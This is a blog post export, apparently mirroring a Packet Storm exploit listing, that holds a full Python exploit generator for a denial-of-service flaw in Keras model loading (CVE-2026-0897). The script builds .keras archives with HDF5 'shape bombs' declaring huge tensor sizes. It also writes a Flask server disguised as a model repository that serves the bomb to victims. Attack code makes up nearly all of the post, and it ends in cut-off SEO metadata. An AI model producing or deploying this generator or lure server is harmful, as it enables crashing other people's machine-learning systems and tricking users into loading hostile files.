{"id":48981,"date":"2026-04-23T13:51:21","date_gmt":"2026-04-23T13:51:21","guid":{"rendered":"http:\/\/localhost\/?p=48981"},"modified":"2026-04-23T13:51:21","modified_gmt":"2026-04-23T13:51:21","slug":"keras-3130-hdf5-shape-bomb-denial-of-service","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=48981","title":{"rendered":"\ud83d\udcc4 Keras 3.13.0 HDF5 Shape Bomb Denial of Service_PACKETSTORM:219685"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-23T17:44:01&#8243;,&#8221;description&#8221;:&#8221;This script is a security research tool demonstrating a denial of service vulnerability in Keras model loading through malicious HDF5 shape bombs. It generates .keras model archives containing artificially declared extremely large tensor shapes&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-04-23T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-04-23T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 Keras 3.13.0 HDF5 Shape Bomb Denial of Service&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:219685&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2026-0897&#8243;],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : Keras 3.13.0 HDF5 Shape Bomb Denial-of-Service Exploit Generator                                                 |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.4 (64 bits)                                                 |\\n    | # Vendor    : https:\/\/pypi.org\/project\/keras\/                                                                                  |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    : This script is a security research tool demonstrating a Denial-of-Service (DoS) vulnerability in Keras model loading through malicious HDF5 \u201cshape bombs.\u201d \\n                     It generates .keras model archives containing artificially declared extremely large tensor shapes designed to force excessive memory allocation during deserialization.\\n    \\n    [+] POC        :  \\n    \\n    #!\/usr\/bin\/env python3\\n    \\n    import os\\n    import sys\\n    import json\\n    import h5py\\n    import zipfile\\n    import struct\\n    import argparse\\n    import logging\\n    import numpy as np\\n    from pathlib import Path\\n    from typing import List, Dict, Optional, Tuple\\n    from datetime import datetime\\n    \\n    logging.basicConfig(\\n        level=logging.INFO,\\n        format=&#8217;%(asctime)s &#8211; %(levelname)s &#8211; %(message)s&#8217;\\n    )\\n    logger = logging.getLogger(__name__)\\n    \\n    MAX_RANK_BEFORE_FIX = 64\\n    MAX_BYTES_BEFORE_FIX = float(&#8216;inf&#8217;)  \\n    EVIL_SHAPES = {\\n        \\&#8221;petabyte_bomb\\&#8221;: (1000000, 1000000, 1000000), \\n        \\&#8221;terabyte_bomb\\&#8221;: (100000, 100000, 10000),   \\n        \\&#8221;gigabyte_bomb\\&#8221;: (50000, 50000, 400),       \\n        \\&#8221;rank_bomb\\&#8221;: tuple([1000] * 100),          \\n        \\&#8221;overflow_bomb\\&#8221;: (2**31, 2**31, 2**31),   \\n        \\&#8221;null_bomb\\&#8221;: (0, 2**31, 2**31),            \\n        \\&#8221;negative_bomb\\&#8221;: (-1, 1000000, 1000000),   \\n        \\&#8221;fractional_bomb\\&#8221;: (1000000, 1000000, 1000000, 1000000),\\n    }\\n    \\n    class HDF5ShapeBomb:\\n        \\&#8221;\\&#8221;\\&#8221;Generate malicious HDF5 files with shape bombs\\&#8221;\\&#8221;\\&#8221;\\n        \\n        def __init__(self, output_file: str = \\&#8221;malicious_model.keras\\&#8221;):\\n            self.output_file = output_file\\n            self.temp_dir = Path(\\&#8221;temp_hdf5_bomb\\&#8221;)\\n            self.temp_dir.mkdir(exist_ok=True)\\n            \\n        def _create_shape_bomb_hdf5(self, shape: Tuple[int, &#8230;], dtype: str = \\&#8221;float32\\&#8221;, \\n                                     dataset_name: str = \\&#8221;layers\/dense\/vars\/0\\&#8221;) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Create HDF5 file with malicious shape declaration\\n            \\n            Args:\\n                shape: Declared tensor shape (actual data is minimal)\\n                dtype: Data type (affects memory calculation)\\n                dataset_name: Name of the dataset\\n                \\n            Returns:\\n                Path to created HDF5 file\\n            \\&#8221;\\&#8221;\\&#8221;\\n            h5_path = self.temp_dir \/ \\&#8221;model.weights.h5\\&#8221;\\n            \\n            with h5py.File(h5_path, \\&#8221;w\\&#8221;, libver=\\&#8221;latest\\&#8221;) as f:\\n    \\n                groups = dataset_name.split(&#8216;\/&#8217;)\\n                current = f\\n                for group in groups[:-1]:\\n                    if group not in current:\\n                        current = current.create_group(group)\\n                    current = current[group]\\n                dataset = current.create_dataset(\\n                    groups[-1],\\n                    shape=(0,),          \\n                    maxshape=(None,),\\n                    dtype=dtype,\\n                    data=np.array([], dtype=dtype)\\n                )\\n                \\n                if hasattr(dataset, \\&#8221;attrs\\&#8221;):\\n                    dataset.attrs[\\&#8221;DECLARED_SHAPE\\&#8221;] = shape\\n                    dataset.attrs[\\&#8221;SHAPE_BOMB\\&#8221;] = True\\n                    dataset.attrs[\\&#8221;TARGET_MEMORY_BYTES\\&#8221;] = self._calculate_memory(shape, dtype)\\n            \\n            logger.info(f\\&#8221;[+] Created HDF5 bomb at {h5_path}\\&#8221;)\\n            logger.info(f\\&#8221;    Declared shape: {shape}\\&#8221;)\\n            logger.info(f\\&#8221;    Memory required: {self._format_bytes(self._calculate_memory(shape, dtype))}\\&#8221;)\\n            \\n            return str(h5_path)\\n        \\n        def _calculate_memory(self, shape: Tuple[int, &#8230;], dtype: str) -\\u003e int:\\n            \\&#8221;\\&#8221;\\&#8221;Calculate memory required for shape\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                import math\\n                total_elements = math.prod(shape)\\n            except OverflowError:\\n                total_elements = float(&#8216;inf&#8217;)\\n            \\n            dtype_size = np.dtype(dtype).itemsize\\n            return total_elements * dtype_size\\n        \\n        def _format_bytes(self, bytes_count: int) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Format bytes to human readable\\&#8221;\\&#8221;\\&#8221;\\n            if bytes_count \\u003e= 1024**4:\\n                return f\\&#8221;{bytes_count \/ 1024**4:.2f} PB\\&#8221;\\n            elif bytes_count \\u003e= 1024**3:\\n                return f\\&#8221;{bytes_count \/ 1024**3:.2f} TB\\&#8221;\\n            elif bytes_count \\u003e= 1024**2:\\n                return f\\&#8221;{bytes_count \/ 1024**2:.2f} GB\\&#8221;\\n            elif bytes_count \\u003e= 1024:\\n                return f\\&#8221;{bytes_count \/ 1024:.2f} MB\\&#8221;\\n            else:\\n                return f\\&#8221;{bytes_count} B\\&#8221;\\n        \\n        def _create_config_json(self, model_config: Dict = None) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Create Keras config.json\\&#8221;\\&#8221;\\&#8221;\\n            if model_config is None:\\n                model_config = {\\n                    \\&#8221;class_name\\&#8221;: \\&#8221;Sequential\\&#8221;,\\n                    \\&#8221;config\\&#8221;: {\\n                        \\&#8221;name\\&#8221;: \\&#8221;sequential\\&#8221;,\\n                        \\&#8221;trainable\\&#8221;: True,\\n                        \\&#8221;layers\\&#8221;: [\\n                            {\\n                                \\&#8221;class_name\\&#8221;: \\&#8221;Dense\\&#8221;,\\n                                \\&#8221;config\\&#8221;: {\\n                                    \\&#8221;name\\&#8221;: \\&#8221;dense\\&#8221;,\\n                                    \\&#8221;trainable\\&#8221;: True,\\n                                    \\&#8221;dtype\\&#8221;: \\&#8221;float32\\&#8221;,\\n                                    \\&#8221;units\\&#8221;: 10,\\n                                    \\&#8221;activation\\&#8221;: \\&#8221;relu\\&#8221;\\n                                }\\n                            }\\n                        ]\\n                    },\\n                    \\&#8221;keras_version\\&#8221;: \\&#8221;3.0.0\\&#8221;,\\n                    \\&#8221;backend\\&#8221;: \\&#8221;tensorflow\\&#8221;\\n                }\\n            \\n            config_path = self.temp_dir \/ \\&#8221;config.json\\&#8221;\\n            with open(config_path, \\&#8221;w\\&#8221;) as f:\\n                json.dump(model_config, f, indent=2)\\n            \\n            return str(config_path)\\n        \\n        def _create_metadata_json(self) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;Create Keras metadata.json\\&#8221;\\&#8221;\\&#8221;\\n            metadata = {\\n                \\&#8221;keras_version\\&#8221;: \\&#8221;3.0.0\\&#8221;,\\n                \\&#8221;backend\\&#8221;: \\&#8221;tensorflow\\&#8221;,\\n                \\&#8221;model_config\\&#8221;: {\\n                    \\&#8221;class_name\\&#8221;: \\&#8221;Sequential\\&#8221;,\\n                    \\&#8221;config\\&#8221;: {\\&#8221;name\\&#8221;: \\&#8221;sequential\\&#8221;, \\&#8221;trainable\\&#8221;: True}\\n                }\\n            }\\n            \\n            metadata_path = self.temp_dir \/ \\&#8221;metadata.json\\&#8221;\\n            with open(metadata_path, \\&#8221;w\\&#8221;) as f:\\n                json.dump(metadata, f, indent=2)\\n            \\n            return str(metadata_path)\\n        \\n        def build_keras_archive(self, shape: Tuple[int, &#8230;], \\n                               dtype: str = \\&#8221;float32\\&#8221;,\\n                               dataset_name: str = \\&#8221;layers\/dense\/vars\/0\\&#8221;) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Build complete .keras archive with shape bomb\\n            \\n            Args:\\n                shape: Malicious shape declaration\\n                dtype: Data type\\n                dataset_name: Dataset name in HDF5\\n                \\n            Returns:\\n                Path to generated .keras file\\n            \\&#8221;\\&#8221;\\&#8221;\\n            logger.info(f\\&#8221;[*] Building Keras archive with shape bomb: {shape}\\&#8221;)\\n    \\n            h5_path = self._create_shape_bomb_hdf5(shape, dtype, dataset_name)\\n    \\n            config_path = self._create_config_json()\\n            metadata_path = self._create_metadata_json()\\n    \\n            with zipfile.ZipFile(self.output_file, \\&#8221;w\\&#8221;, zipfile.ZIP_DEFLATED) as zf:\\n                zf.write(h5_path, \\&#8221;model.weights.h5\\&#8221;)\\n                zf.write(config_path, \\&#8221;config.json\\&#8221;)\\n                zf.write(metadata_path, \\&#8221;metadata.json\\&#8221;)\\n    \\n            for f in [h5_path, config_path, metadata_path]:\\n                if os.path.exists(f):\\n                    os.unlink(f)\\n            \\n            self.temp_dir.rmdir()\\n            \\n            file_size = os.path.getsize(self.output_file)\\n            logger.info(f\\&#8221;[+] Keras archive created: {self.output_file}\\&#8221;)\\n            logger.info(f\\&#8221;    File size: {self._format_bytes(file_size)}\\&#8221;)\\n            logger.info(f\\&#8221;    Memory impact: {self._format_bytes(self._calculate_memory(shape, dtype))}\\&#8221;)\\n            logger.info(f\\&#8221;    Amplification ratio: {self._calculate_memory(shape, dtype) \/ file_size:.0f}x\\&#8221;)\\n            \\n            return self.output_file\\n    \\n    class KerasDoSAttack:\\n        \\&#8221;\\&#8221;\\&#8221;Execute DoS attack against vulnerable Keras installations\\&#8221;\\&#8221;\\&#8221;\\n        \\n        def __init__(self, target_model_path: str = None):\\n            self.target_model_path = target_model_path\\n        \\n        def test_local_vulnerability(self, model_path: str) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Test if local Keras installation is vulnerable\\n            \\n            Args:\\n                model_path: Path to malicious model\\n                \\n            Returns:\\n                True if crash occurred (vulnerable), False otherwise\\n            \\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                import keras\\n                logger.info(\\&#8221;[*] Attempting to load malicious model&#8230;\\&#8221;)\\n    \\n                model = keras.saving.load_model(model_path)\\n                \\n                logger.warning(\\&#8221;[!] Model loaded successfully &#8211; Keras may be patched!\\&#8221;)\\n                return False\\n                \\n            except MemoryError as e:\\n                logger.error(f\\&#8221;[!!!] MemoryError: {e}\\&#8221;)\\n                return True\\n            except Exception as e:\\n                logger.error(f\\&#8221;[!!!] Crash: {e}\\&#8221;)\\n                return True\\n        \\n        def create_remote_exploit_script(self, output_file: str = \\&#8221;exploit_server.py\\&#8221;) -\\u003e str:\\n            \\&#8221;\\&#8221;\\&#8221;\\n            Create a malicious model server that serves shape bombs\\n            \\n            Args:\\n                output_file: Output script name\\n                \\n            Returns:\\n                Path to created script\\n            \\&#8221;\\&#8221;\\&#8221;\\n            script_content = &#8221;&#8217;#!\/usr\/bin\/env python3\\n    \\&#8221;\\&#8221;\\&#8221;Malicious model server for CVE-2026-0897\\&#8221;\\&#8221;\\&#8221;\\n    \\n    from flask import Flask, send_file, request\\n    import os\\n    import zipfile\\n    import h5py\\n    import json\\n    \\n    app = Flask(__name__)\\n    \\n    EVIL_SHAPE = (1000000, 1000000, 1000000)  # 4 PB bomb\\n    \\n    def create_malicious_model():\\n        \\&#8221;\\&#8221;\\&#8221;Generate shape bomb on demand\\&#8221;\\&#8221;\\&#8221;\\n        import tempfile\\n        import numpy as np\\n        \\n        temp_dir = tempfile.mkdtemp()\\n        model_path = os.path.join(temp_dir, \\&#8221;malicious.keras\\&#8221;)\\n    \\n        with h5py.File(os.path.join(temp_dir, \\&#8221;model.weights.h5\\&#8221;), \\&#8221;w\\&#8221;) as f:\\n            dataset = f.create_dataset(\\n                \\&#8221;layers\/dense\/vars\/0\\&#8221;,\\n                shape=(0,),\\n                maxshape=(None,),\\n                dtype=\\&#8221;float32\\&#8221;,\\n                data=np.array([], dtype=\\&#8221;float32\\&#8221;)\\n            )\\n            dataset.attrs[\\&#8221;DECLARED_SHAPE\\&#8221;] = EVIL_SHAPE\\n        config = {\\n            \\&#8221;class_name\\&#8221;: \\&#8221;Sequential\\&#8221;,\\n            \\&#8221;config\\&#8221;: {\\&#8221;name\\&#8221;: \\&#8221;sequential\\&#8221;, \\&#8221;trainable\\&#8221;: True},\\n            \\&#8221;keras_version\\&#8221;: \\&#8221;3.0.0\\&#8221;\\n        }\\n        \\n        with zipfile.ZipFile(model_path, \\&#8221;w\\&#8221;) as zf:\\n            zf.write(os.path.join(temp_dir, \\&#8221;model.weights.h5\\&#8221;), \\&#8221;model.weights.h5\\&#8221;)\\n            zf.writestr(\\&#8221;config.json\\&#8221;, json.dumps(config))\\n        \\n        return model_path\\n    \\n    @app.route(&#8216;\/model.keras&#8217;)\\n    def serve_malicious_model():\\n        \\&#8221;\\&#8221;\\&#8221;Serve the shape bomb model\\&#8221;\\&#8221;\\&#8221;\\n        model_path = create_malicious_model()\\n        return send_file(model_path, as_attachment=True)\\n    \\n    @app.route(&#8216;\/&#8217;)\\n    def index():\\n        return &#8221;&#8217;\\n        \\u003ch1\\u003eModel Repository\\u003c\/h1\\u003e\\n        \\u003cp\\u003eDownload models for your ML pipeline:\\u003c\/p\\u003e\\n        \\u003ca href=\\&#8221;\/model.keras\\&#8221;\\u003eDownload model.keras (latest)\\u003c\/a\\u003e\\n        &#8221;&#8217;\\n    \\n    if __name__ == &#8216;__main__&#8217;:\\n        app.run(host=&#8217;0.0.0.0&#8242;, port=8080)\\n    &#8221;&#8217;\\n            \\n            with open(output_file, &#8216;w&#8217;) as f:\\n                f.write(script_content)\\n            \\n            os.chmod(output_file, 0o755)\\n            logger.info(f\\&#8221;[+] Remote exploit server script created: {output_file}\\&#8221;)\\n            return output_file\\n    class ExploitTester:\\n        \\&#8221;\\&#8221;\\&#8221;Test and validate the exploit\\&#8221;\\&#8221;\\&#8221;\\n        \\n        @staticmethod\\n        def test_memory_impact(shape: Tuple[int, &#8230;], dtype: str = \\&#8221;float32\\&#8221;) -\\u003e Dict:\\n            \\&#8221;\\&#8221;\\&#8221;Calculate theoretical memory impact\\&#8221;\\&#8221;\\&#8221;\\n            import math\\n            \\n            try:\\n                elements = math.prod(shape)\\n                bytes_needed = elements * np.dtype(dtype).itemsize\\n                \\n                return {\\n                    \\&#8221;shape\\&#8221;: shape,\\n                    \\&#8221;elements\\&#8221;: elements,\\n                    \\&#8221;bytes\\&#8221;: bytes_needed,\\n                    \\&#8221;bytes_formatted\\&#8221;: format_bytes(bytes_needed),\\n                    \\&#8221;dtype\\&#8221;: dtype,\\n                    \\&#8221;overflow\\&#8221;: False\\n                }\\n            except OverflowError:\\n                return {\\n                    \\&#8221;shape\\&#8221;: shape,\\n                    \\&#8221;elements\\&#8221;: float(&#8216;inf&#8217;),\\n                    \\&#8221;bytes\\&#8221;: float(&#8216;inf&#8217;),\\n                    \\&#8221;bytes_formatted\\&#8221;: \\&#8221;INFINITE\\&#8221;,\\n                    \\&#8221;dtype\\&#8221;: dtype,\\n                    \\&#8221;overflow\\&#8221;: True\\n                }\\n        \\n        @staticmethod\\n        def scan_keras_version() -\\u003e Dict:\\n            \\&#8221;\\&#8221;\\&#8221;Check Keras version and vulnerability status\\&#8221;\\&#8221;\\&#8221;\\n            try:\\n                import keras\\n                version = keras.__version__\\n                \\n                # Parse version\\n                parts = [int(x) for x in version.split(&#8216;.&#8217;)[:3]]\\n                is_vulnerable = False\\n                \\n                if parts[0] == 3:\\n                    if 0 \\u003c= parts[1] \\u003c= 13:\\n                        is_vulnerable = True\\n                \\n                return {\\n                    \\&#8221;version\\&#8221;: version,\\n                    \\&#8221;is_vulnerable\\&#8221;: is_vulnerable,\\n                    \\&#8221;has_fix\\&#8221;: not is_vulnerable\\n                }\\n            except ImportError:\\n                return {\\n                    \\&#8221;version\\&#8221;: None,\\n                    \\&#8221;is_vulnerable\\&#8221;: False,\\n                    \\&#8221;has_fix\\&#8221;: False,\\n                    \\&#8221;error\\&#8221;: \\&#8221;Keras not installed\\&#8221;\\n                }\\n    \\n    def format_bytes(bytes_count):\\n        \\&#8221;\\&#8221;\\&#8221;Format bytes to human readable\\&#8221;\\&#8221;\\&#8221;\\n        if bytes_count \\u003e= 1024**4:\\n            return f\\&#8221;{bytes_count \/ 1024**4:.2f} PB\\&#8221;\\n        elif bytes_count \\u003e= 1024**3:\\n            return f\\&#8221;{bytes_count \/ 1024**3:.2f} TB\\&#8221;\\n        elif bytes_count \\u003e= 1024**2:\\n            return f\\&#8221;{bytes_count \/ 1024**2:.2f} GB\\&#8221;\\n        elif bytes_count \\u003e= 1024:\\n            return f\\&#8221;{bytes_count \/ 1024:.2f} MB\\&#8221;\\n        else:\\n            return f\\&#8221;{bytes_count} B\\&#8221;\\n    def main():\\n        parser = argparse.ArgumentParser(\\n            description=&#8217;CVE-2026-0897 &#8211; Google Keras DoS Exploit (HDF5 Shape Bomb)&#8217;,\\n            formatter_class=argparse.RawDescriptionHelpFormatter,\\n            epilog=\\&#8221;\\&#8221;\\&#8221;\\n    Examples:\\n      python exploit.py &#8211;shape petabyte_bomb &#8211;output malicious.keras\\n      python exploit.py &#8211;shape 1000000,1000000,1000000 &#8211;output bomb.keras\\n      python exploit.py &#8211;test &#8211;model malicious.keras\\n      python exploit.py &#8211;all &#8211;output-dir .\/bombs\/\\n      python exploit.py &#8211;server &#8211;port 8080\\n      python exploit.py &#8211;check-version\\n            \\&#8221;\\&#8221;\\&#8221;\\n        )\\n        \\n        parser.add_argument(&#8216;&#8211;shape&#8217;, help=&#8217;Shape bomb type or custom dimensions (e.g., 1000,1000,1000)&#8217;)\\n        parser.add_argument(&#8216;&#8211;output&#8217;, &#8216;-o&#8217;, default=&#8217;malicious_model.keras&#8217;, help=&#8217;Output .keras file&#8217;)\\n        parser.add_argument(&#8216;&#8211;output-dir&#8217;, help=&#8217;Directory for multiple bombs&#8217;)\\n        parser.add_argument(&#8216;&#8211;all&#8217;, action=&#8217;store_true&#8217;, help=&#8217;Generate all bomb types&#8217;)\\n        parser.add_argument(&#8216;&#8211;test&#8217;, action=&#8217;store_true&#8217;, help=&#8217;Test vulnerability with generated model&#8217;)\\n        parser.add_argument(&#8216;&#8211;model&#8217;, help=&#8217;Model file to test&#8217;)\\n        parser.add_argument(&#8216;&#8211;server&#8217;, action=&#8217;store_true&#8217;, help=&#8217;Create remote exploit server script&#8217;)\\n        parser.add_argument(&#8216;&#8211;port&#8217;, type=int, default=8080, help=&#8217;Port for exploit server&#8217;)\\n        parser.add_argument(&#8216;&#8211;check-version&#8217;, action=&#8217;store_true&#8217;, help=&#8217;Check Keras version vulnerability&#8217;)\\n        parser.add_argument(&#8216;&#8211;dtype&#8217;, default=&#8217;float32&#8242;, help=&#8217;Data type (float32, float64, int8, etc.)&#8217;)\\n        parser.add_argument(&#8216;&#8211;verbose&#8217;, &#8216;-v&#8217;, action=&#8217;store_true&#8217;, help=&#8217;Verbose output&#8217;)\\n        \\n        args = parser.parse_args()\\n        \\n        print(\\&#8221;\\&#8221;\\&#8221;\\n    ========================================\\n      CVE-2026-0897 &#8211; Keras DoS Exploit\\n      HDF5 Shape Bomb &#8211; Resource Exhaustion\\n    ========================================\\n        \\&#8221;\\&#8221;\\&#8221;)\\n    \\n        if args.check_version:\\n            info = ExploitTester.scan_keras_version()\\n            print(f\\&#8221;[*] Keras version: {info[&#8216;version&#8217;] or &#8216;Not installed&#8217;}\\&#8221;)\\n            if info.get(&#8216;is_vulnerable&#8217;):\\n                print(\\&#8221;[!!!] VULNERABLE version detected! (3.0.0 &#8211; 3.13.0)\\&#8221;)\\n            elif info.get(&#8216;has_fix&#8217;):\\n                print(\\&#8221;[+] Keras appears patched (version \\u003e 3.13.0)\\&#8221;)\\n            else:\\n                print(\\&#8221;[?] Unable to determine vulnerability status\\&#8221;)\\n            return\\n    \\n        if args.server:\\n            attacker = KerasDoSAttack()\\n            script_path = attacker.create_remote_exploit_script(f\\&#8221;exploit_server_{args.port}.py\\&#8221;)\\n            print(f\\&#8221;\\\\n[+] Exploit server script created: {script_path}\\&#8221;)\\n            print(f\\&#8221;[*] Run: python3 {script_path}\\&#8221;)\\n            print(f\\&#8221;[*] Victims will download malicious models from http:\/\/your-server:8080\/model.keras\\&#8221;)\\n            return\\n    \\n        if args.all:\\n            if not args.output_dir:\\n                args.output_dir = \\&#8221;shape_bombs\\&#8221;\\n            \\n            os.makedirs(args.output_dir, exist_ok=True)\\n            \\n            for bomb_name, bomb_shape in EVIL_SHAPES.items():\\n                output_file = os.path.join(args.output_dir, f\\&#8221;{bomb_name}.keras\\&#8221;)\\n                generator = HDF5ShapeBomb(output_file)\\n                \\n                print(f\\&#8221;\\\\n[*] Generating {bomb_name}: {bomb_shape}\\&#8221;)\\n                generator.build_keras_archive(bomb_shape, args.dtype)\\n            \\n            print(f\\&#8221;\\\\n[+] All bombs generated in {args.output_dir}\/\\&#8221;)\\n            return\\n        if args.shape:\\n    \\n            if args.shape in EVIL_SHAPES:\\n                shape = EVIL_SHAPES[args.shape]\\n            else:\\n                try:\\n                    shape = tuple(int(x.strip()) for x in args.shape.split(&#8216;,&#8217;))\\n                except:\\n                    print(f\\&#8221;[!] Invalid shape format: {args.shape}\\&#8221;)\\n                    return\\n    \\n            impact = ExploitTester.test_memory_impact(shape, args.dtype)\\n            print(f\\&#8221;[*] Shape bomb configuration:\\&#8221;)\\n            print(f\\&#8221;    Dimensions: {impact[&#8216;shape&#8217;]}\\&#8221;)\\n            print(f\\&#8221;    Total elements: {impact[&#8216;elements&#8217;]}\\&#8221;)\\n            print(f\\&#8221;    Memory required: {impact[&#8216;bytes_formatted&#8217;]}\\&#8221;)\\n            print(f\\&#8221;    Data type: {impact[&#8216;dtype&#8217;]}\\&#8221;)\\n            \\n            if impact.get(&#8216;overflow&#8217;):\\n                print(\\&#8221;[!!!] INTEGER OVERFLOW DETECTED &#8211; May bypass some checks!\\&#8221;)\\n    \\n            generator = HDF5ShapeBomb(args.output)\\n            generator.build_keras_archive(shape, args.dtype)\\n    \\n            if args.test:\\n                print(\\&#8221;\\\\n[*] Testing vulnerability&#8230;\\&#8221;)\\n                attacker = KerasDoSAttack()\\n                is_vulnerable = attacker.test_local_vulnerability(args.output)\\n                \\n                if is_vulnerable:\\n                    print(\\&#8221;\\\\n[!!!] Keras IS VULNERABLE! Process crashed.\\&#8221;)\\n                else:\\n                    print(\\&#8221;\\\\n[+] Keras appears patched or model was safe.\\&#8221;)\\n        \\n        else:\\n            parser.print_help()\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\t\\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/219685&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:7.5,&#8221;severity&#8221;:&#8221;HIGH&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:N\/I:N\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/219685\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-23T17:44:01&#8243;,&#8221;description&#8221;:&#8221;This script is a security research tool demonstrating a denial of service vulnerability in Keras model loading through malicious HDF5 shape bombs. It generates .keras&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-48981","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Keras 3.13.0 HDF5 Shape Bomb Denial of Service_PACKETSTORM:219685 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=48981\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Keras 3.13.0 HDF5 Shape Bomb Denial of Service_PACKETSTORM:219685 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-04-23T17:44:01&#8243;,&#8221;description&#8221;:&#8221;This script is a security research tool demonstrating a denial of service vulnerability in Keras model loading through malicious HDF5 shape bombs. It generates .keras...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=48981\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-23T13:51:21+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"13 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48981#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=48981\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Keras 3.13.0 HDF5 Shape Bomb Denial of 